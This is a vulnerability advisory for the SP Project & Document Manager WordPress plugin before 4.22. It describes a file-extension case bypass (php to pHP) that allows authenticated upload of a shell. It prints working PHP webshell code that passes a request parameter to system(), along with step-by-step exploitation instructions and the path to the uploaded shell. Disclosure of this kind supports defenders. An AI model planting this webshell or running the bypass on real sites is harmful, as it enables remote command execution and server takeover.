SP Project & Document Manager < 4.22 - Authenticated Shell Upload

2021-05-2500:00:00

Viktor Markopoulos

330

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

JSON

The plugin allows users to upload files, however, the plugin attempts to prevent php and other similar files that could be executed on the server from being uploaded by checking the file extension. It was discovered that php files could still be uploaded by changing the file extension’s case, for example, from “php” to “pHP”. The plugin does state that users can upload and manage files without limits, but also does attempt to prevent dangerous files from being uploaded, which was found to be inadequate.

1. Upload a webshell as web.php:

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>

2. Intercept the request
3. Rename the dlg-upload-file[] parameter from web.php with web.pHP
4. Visit http://website.com/wp-content/uploads/sp-client-document-manager/[user's uid]/web.php and use the webshell